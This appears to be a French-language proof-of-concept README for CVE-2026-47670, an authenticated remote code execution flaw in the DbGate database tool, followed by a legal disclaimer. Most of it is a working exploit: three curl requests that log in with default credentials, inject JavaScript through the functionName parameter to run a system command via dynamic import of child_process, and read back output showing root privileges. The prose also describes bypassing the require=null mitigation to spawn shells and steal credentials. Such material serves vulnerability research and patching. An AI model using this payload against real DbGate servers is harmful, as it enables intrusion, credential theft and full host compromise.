
Exécution de code à distance authentifiée via injection de code dans le nom de fonction loadReader dans DbGate
Exécution de code à distance authentifiée via injection dans le paramètre functionName de la fonction loadReader dans DbGate
DbGate est un outil open-source et multiplateforme de gestion de bases de données conçu pour les développeurs et administrateurs de bases de données qui doivent travailler avec plusieurs systèmes de bases de données simultanément. Il fournit une interface web et bureau unifiée pour gérer à la fois les bases de données SQL et NoSQL – notamment MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle et d'autres – sans avoir à basculer entre différentes applications client. DbGate fonctionne comme une application de bureau autonome sur Windows, macOS et Linux, ou peut être déployé comme une application web via Docker, ce qui le rend populaire dans les environnements d'équipe et les scénarios d'administration de bases de données à distance.
CVE-2026-47670 est une vulnérabilité d'exécution de code à distance authentifiée (RCE) affectant les versions de DbGate antérieures à 7.1.9. La faille réside dans le point de terminaison /runners/load-reader, où le paramètre functionName est passé à un chemin d'exécution de code non sécurisé sans validation appropriée. Un attaquant disposant d'identifiants DbGate valides peut injecter du code JavaScript arbitraire via ce paramètre, qui est exécuté sur le serveur avec les privilèges root. La vulnérabilité est particulièrement dangereuse car la mitigation require = null de l'application peut être contournée trivialement à l'aide d'instructions import() dynamiques, permettant aux attaquants de lancer des shells, d'exfiltrer les identifiants de bases de données, de pivoter vers des serveurs de bases de données connectés, ou de compromettre complètement le système hôte.
# Étape 1 — s'authentifier et obtenir le jeton Bearer
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RÉPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Étape 2 — injecter via functionName (remplacer TOKEN et /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RÉPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Étape 3 — lire la sortie de la commande
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RÉPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Ce dépôt et son contenu sont fournis strictement à des fins légitimes de recherche en sécurité, de tests d'intrusion autorisés, d'étude éducative et de défense. En accédant ou en utilisant ce matériel, vous reconnaissez l'entière responsabilité de veiller à ce que vos activités soient conformes à toutes les lois applicables et que vous ayez obtenu une autorisation préalable avant de tester ou d'appliquer ces techniques sur tout système que vous ne possédez pas.
Les auteurs et mainteneurs de ce projet déclinent toute responsabilité pour tout dommage, conséquence juridique ou utilisation abusive résultant de l'application de ces informations. Toute utilisation pour un accès non autorisé, une activité malveillante ou à des fins illégales est expressément interdite et non prise en charge.
Utilisez de manière responsable. Restez dans la légalité. Testez uniquement ce que vous possédez ou pour lequel vous avez une autorisation écrite explicite.
SCT-PL